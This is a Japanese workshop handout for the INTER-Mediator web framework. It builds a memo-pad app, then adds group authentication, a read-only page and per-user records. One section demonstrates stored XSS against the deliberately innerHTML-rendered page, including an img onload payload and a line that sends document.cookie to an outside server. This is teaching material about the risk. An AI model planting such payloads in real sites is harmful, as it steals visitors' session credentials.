INTER-Mediator《大》勉強会2019
ハンズオンシナリオ

2019-08-24 (Sat) @ NII

このシナリオは、上記のイベントにおいて、インストラクターがリードするハンズオンで利用するための文書です。単独で読んで進めることは考慮していません。質問があれば、INTER-Mediator Directive Committee（info@inter-mediator.org）までお願いします。

凡例

以下のような記述があれば、イベントのページの最後にある「Code4」のリンクをクリックすることで表示されるページより、コピペが可能であるという意味です。

以下のテキストは「Code4」よりコピペ可能

ハンズオン1

定義ファイルエディタでの設定

次のような定義ファイルを定義する。

コンテキスト定義

name：message
table：chat
view：chat
key：id
paging：true
repeat-control：confirm-delete
records：10
（Queryは削除）
sort：[[field：postdt, direction：desc]]
（show all）
post-reconstruct：true
post-dismiss-message：投稿しました。少し待つと画面が更新されます。

データベース接続設定

db-class：PDO

以下のテキストは「Code4」よりコピペ可能

---

dsn：mysql:host=localhost;dbname=test_db;charset=utf8mb4
user：web
password：password

デバッグ設定

debug: false

ページファイル

次のようなページファイルを定義する。

以下のテキストは「Code1」よりコピペ可能

```
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title></title>
    <script type="text/javascript" src="def01.php"></script>
    <script type="text/javascript">
        INTERMediatorOnPage.processingBeforePostOnlyContext = function (node) {
            var dtString;
            dtString = INTERMediatorLib.dateTimeStringISO();   // ←[MySQL]の場合こちらを残す
            dtString = INTERMediatorLib. dateTimeStringFileMaker();   // ←[FileMaker]の場合こちら
を残す
            INTERMediator.additionalFieldValueOnNewRecord
                        = {'message': [{field: "postdt", value: dtString}]};
            return true;
        };
    </script>
    <style>
        TEXTAREA {
            width: 400px;
            height: 60px;
        }
        .grayback {
            background-color: #CCCCCC;
        }
        .boldBottom {
            border-bottom: 3px gray solid;
        }
    </style>
</head>
<body>
    <h1>Memo Pad</h1>
<table>
    <tbody data-im-control="post">
    <tr>
        <th>名前:</th>
        <td>
```

```
            <input type="text" data-im="message@user">
        </td>
    </tr>
    <tr>
        <th>メッセージ:</th>
        <td>
            <textarea data-im="message@message"></textarea><br>
            <button data-im-control="post">入力</button>
        </td>
    </tr>
    </tbody>
</table>
<div id="IM_NAVIGATOR"></div>
<table>
    <tbody>
    <tr>
        <th>名前:</th>
        <td data-im="message@user"></td>
        <th>日時:</th>
        <td data-im="message@postdt"></td>
        <td></td>
    </tr>
    <tr>
        <th>修正:</th>
        <td colspan="3" class="grayback">
            <textarea data-im="message@message"></textarea>
        </td>
        <td></td>
    </tr>
    <tr class="boldBottom">
        <th>表示:</th>
        <td colspan="3" class="grayback" data-im="message@message"></td>
        <td style="vertical-align: bottom;"></td>
    </tr>
    </tbody>
</table>
</body>
</html>
```

ページ作成後の動作確認

データベースの表示と新規レコード作成

名前とメッセージを入力すると、それを後からWebページ上で確認できます。メモ帳や掲示板のようなものと思ってください。

実際に、名前とメッセージを入力して、ボタンをクリックすると、メッセージが表示されます。メッセージは、単に普通の文字だけにしましょう。
２つ、３つとメッセージを入力してください。
ここで、INTER-Mediatorの動作の説明を行います。

- 定義ファイルの最後の方に、データベース接続のための基本的な情報が設定されている
- コンテキストmessageにより、データベースのchatテーブルが取り出されたり、chatテーブルへの入力ができるようになる
- ページファイルのmessage@userにより、messegeコンテキストすなわちchatテーブルのuserフィールドと「バインド」される
- userフィールドは表示だけだが、messageフィールドは変更できる（実際に行う）
- 10レコードずつ表示できる
- 「削除」ボタンが付いている
- “post”により、入力フォームを定義できる。ボタンを押せば新しいレコードを作る
- レコード作成前にJavaScriptを呼び出し、現在の日時を設定している。このように、プログラムを記述してカスタマイズすることで、様々な付加的な動作を実装できる

フィールド入力の確認

定義ファイルのコンテキスト定義に、以下の設定を追加します。

validation：[
　　[field：user, rule：value != '', message：名前に入力してください]
　　[field：message, rule：value != '', message：メッセージを入力してください]

次に、名前欄を空欄にしようとしてみてください。メッセージが出て、入力しなければ先に進めないようになりました。

メッセージをHTMLで記述する

次のようなメッセージを新たに入力してください。名前はなんでも構いません。

以下のテキストは「Code4」よりコピペ可能

赤い文字黒い文字

メッセージの一覧を見ると、編集のためのテキストエリアでも、表示のところでも、同じようにタグとして見えています。しかしながら、せっかくのHTMLはなんの役にも立っていません。そこで、HTMLで定義した通りにページ上で解釈されるように、フィールドの内容をHTMLとして、ページ内に組み込むように変更します。ページファイルの最後の方で、以下のように記述を変更します。赤い文字の部分を追加します。

<th>表示:</th>
<td colspan="3" class="grayback" data-im="message@message@innerHTML"></td>

画面を更新します。「赤い文字」が赤く見えるようになりました。

HTMLを許可することによるセキュリティ上の問題点

この状態では、「誰でも参照できるページ」において、「誰でもHTMLでメッセージを書き込める」状態になっている点に注意をしてください。これは、悪いことをするプログラムを含むメッセージが不特定多数のブラウザ上で実行できることに他なりません。これはえらいことです。確認しましょう。
まず、次のようなメッセージのメモを追加してみます。

以下のテキストは「Code4」よりコピペ可能

```
<script>window.alert(“OK1”);</script>
```

ページを更新すると、アラートが表示できるかと思いましたか？　現在のブラウザは、このような方法でのスクリプトの実行はできないようになっています。これは、HTMLのルール上、そのようにしているということです。
しかし、こんなプログラムはどうでしょうか？

以下のテキストは「Code4」よりコピペ可能

```
<button onclick=“alert('OK2')">OK</button>
```

ボタンをクリックすると、そこにあるプログラムが実行できました。今は、アラートを出すだけですが、どんなプログラムもボタンを押して実行可能だということがわかります。ボタンが「すぐに押せばボーナス！」などと書いてあると、思わず押してしまいませんか？
さらに、imgタグを使った次のような方法を使うと、ページ表示をした時に、すぐにonload属性のプログラムを実行できます。

以下のテキストは「Code4」よりコピペ可能

```
<img src="https://inter-mediator.com/images/20140123-inter-mediator-logo-w174.png"
onload=“alert(document.cookie)">
```

ページ上のクッキーが表示できます。このページはクッキーを利用していませんが、クッキーに認証情報を記録しているとして、ここでどこかのサーバーに送信できるようになっていたら、どうなるでしょうか？
なお、JavaScriptのプログラムで、このページを送り込んだサーバー以外に接続しようとすると、通常はエラーになります（同一ドメイン規則）。
ですが、

```
location.href = ‘https://server.msyk.net/?d=' + document.cookie
```

のようなプログラムがonload属性にあると、クッキーの情報を持って別のページにアクセスし、そちらがもしCGIでdパラメータを受け取って保存するようになっていたら、クッキーの情報は取られたということになります。

何が問題なのか？

以前は、「innerHTMLは使うな」というような論調もありましたが、これは極端な対策です。innerHTMLのような仕組みがないと、データベースの内容をもとにページ構築するような用途はかなり制約されます。

ではどうすれば安全にHTMLデータをページに表示できるようになるでしょうか？そのための必須のことは「不正なプログラムを含むHTMLを書き込まない」ということがあります。つまり、閲覧者に不利益となるようなメッセージを書き込まれることがなければ、HTMLを解釈できるようになっていても問題はありません。つまり、そのような、状況であれば問題ないと考えて良いでしょう。
例えば、次のような状態を作ったとします。

- ある会社のサイトである場合、メッセージの書き込みができるユーザーを限定する
- それらのユーザーのみが書き込めるように、閲覧と書き込みページを分離する
- それらのユーザーであることが確定されるように、ユーザー認証を導入する
- 閲覧ページ、書き込みページは、正しい認可の設定が行われている

こうすれば、問題は次の点に絞られます。

- 書き込み権限があるユーザーが悪意を持ってメッセージを書き込むかどうか？

この場合の書き込み権限のあるユーザーが自社の会社員であるならば、通常は悪意を持って業務を進めることはしないと考えるべきです。仮に悪意があるとしても、損害が発生した場合の賠償責任は個人にあるのが現在の一般的な労働契約です。また、悪意のあるメッセージを書くだけでなく、会社のお金を勝手に使うみたいなことが「通常は起こらない」ということを想定して会社業務をしているのと原則は変わりません。つまり、「絶対に問題は起こらない」ということは言えないとしても、「一般的な脅威」と同程度の扱いになったということです。

先のワークショップで、前記のような「状態」に持ち込むハンズオンを行いますが、その前に、松尾さんから、INTER-Mediatorに搭載されているセキュリティ機能についての講演があります。

ハンズオン2

ユーザー情報の確認

VMのトップページから、「ユーザー管理ページサンプル」をクリックして、ユーザー情報を参考にする。
user1～user5まであり、それぞれ、ユーザー名とパスワードは同一に設定してある。
このあと、group2というグループを使う。user4、user5はgroup2に所属しており、他は所属していないことを確認。

ページにユーザー認証を必須にする

ハンズオン1で作ったページをgroup2のユーザーでないと表示できないようにします。

既存コンテキストを修正

次のように定義ファイルにあるコンテキストを修正する。つまり、authenticationのキーの値を追加するのみ。

name：message
：
authentication：[all：[group：group2]]

結果の確認

ページを表示すると、認証を求められます。適当に入力してもログインできません。
user1ではログインできません。
user5ではログインできます。ログインすると、以前と同じページが見えています。
コンテキストに対するすべての処理に、group2に所属するユーザーでないとできないように、定義ファイルで設定できました。

ハンズオン１では、innerHTMLを含むページの説明をしました。このとき、

- 決められたユーザーは書き込みできる
- その他の不特定多数は参照するのみである

とすれば、group2は「管理者グループ」であるとも言えます。そして、一覧のページはすべてのメッセージが表示・編集できる「管理ページ」としての役割を持っていると言えます。
（閲覧専用ページはまだ作っていませんが、時間があったら作ってみましょう。）

閲覧専用ページの開発

閲覧ページを作るとしたら、以下のようなコンテキスト定義を定義ファイルに作成します。tableキーは存在しないテーブル名を記述することで、書き込みを事実上禁止することができます。

新たなコンテキストを定義

name：messagefree

view：chat
table：not_exist
key：id
paging：true
records：10
sort：[[field：postdt, direction：desc]]

ページファイル

次のようなページファイルを定義します。新たなページとして用意しますが、ハンズオン1の結果をコピペして修正するのが手軽です。

以下のテキストは「Code3」よりコピペ可能

```
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title></title>
    <script type="text/javascript" src="def01.php"></script> <!-- 変更しない -->
    <style>
        .grayback {
            background-color: #CCCCCC;
        }
        .boldBottom {
            border-bottom: 3px gray solid;
        }
    </style>
</head>
<body>
    <h1>Memo Pad</h1>
<div id="IM_NAVIGATOR"></div>
<table>
    <tbody>
    <tr>
        <th>名前:</th>
        <td data-im="messagefree@user"></td>
        <th>日時:</th>
        <td data-im="messagefree@postdt"></td>
        <td></td>
    </tr>   <!-- 行をいくつか減らす -->
    <tr class="boldBottom">
        <th>表示:</th>
        <td colspan="3" class="grayback"
                data-im="messagefree@message@innerHTML"></td>
```

```
        <td style="vertical-align: bottom;"></td>
    </tr>
    </tbody>
</table>
</body>
</html>
```

動作を確認する

ページファイルを表示する。認証なく表示されたことを確認する。
認証のあるページで、ログインをして認証が必要なことを確認し、新たなメッセージを書き込む。
ここで作ったページを改めて参照して、メッセージが追加されていること、そして、認証なしでページが参照できたことを確認する。

個人ごとのメモにする

次のように定義ファイルに新たにコンテキストを定義する。

新たなコンテキストを定義

```
name：messageauth
table：chat
view：chat
key：id
paging：true
repeat-control：confirm-delete
records：10
sort：[[ field：postdt, direction：desc ]]
post-reconstruct：true
post-dismiss-message：投稿しました。少し待つと画面が更新されます。
authentication：[ all：[ target：field-user, field：user ]]
```

ページファイル

次のようなページファイルを定義します。新たなページとして用意しますが、ハンズオン1の結果をコピペして修正するのが手軽です。

以下のテキストは「Code2」よりコピペ可能

```
<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title></title>
    <script type="text/javascript" src="def01.php"></script> <!-- 変更しない -->
    <script type="text/javascript">
```

```
        INTERMediatorOnPage.processingBeforePostOnlyContext = function (node) {
            var dtString = INTERMediatorLib.dateTimeStringISO();   // ←[MySQL]の場合
            INTERMediator.additionalFieldValueOnNewRecord
                = {'messageauth': [{field: "postdt", value: dtString}]};
            return true;
        };
    </script>
    <style>
        TEXTAREA {
            width: 400px;
            height: 60px;
        }
        .grayback {
            background-color: #CCCCCC;
        }
        .boldBottom {
            border-bottom: 3px gray solid;
        }
    </style>
</head>
<body>
    <h1>Memo Pad</h1>
<table>
    <tbody data-im-control="post">
    <tr> <!-- 行をいくつか減らす -->
        <th>メッセージ:</th>
        <td>
            <textarea data-im="messageauth@message"></textarea><br>
            <button data-im-control="post">入力</button>
        </td>
    </tr>
    </tbody>
</table>
<div id="IM_NAVIGATOR"></div>
<table>
    <tbody>
    <tr>
        <th>名前:</th>
        <td data-im="messageauth@user"></td>
        <th>日時:</th>
        <td data-im="messageauth@postdt"></td>
        <td></td>
    </tr>   <!-- 行をいくつか減らす -->
    <tr class="boldBottom">
        <th>表示:</th>
        <td colspan="3" class="grayback"
```

```
            data-im="messageauth@message@innerHTML"></td>
        <td style="vertical-align: bottom;"></td>
    </tr>
    </tbody>
</table>
</body>
</html>
```

動作を確認する

user1でも、user5でもログインできます。
誰でログインしても何も見えません。
user1でいくつかメッセージを記入します。
user5でいくつかメッセージを記入します。
自分のメッセージしか見えていません。
ハンズオン1のページで確認すると、userフィールドにユーザー名が入っています。
定義ファイルの独特の設定を確認しましょう。
ECサイトのように多数の売り上げがあるものの、自分の購入した情報だけが欲しいような場合、このような認可の仕組みを利用することで、INTER-Mediatorでは設定だけで実現できます。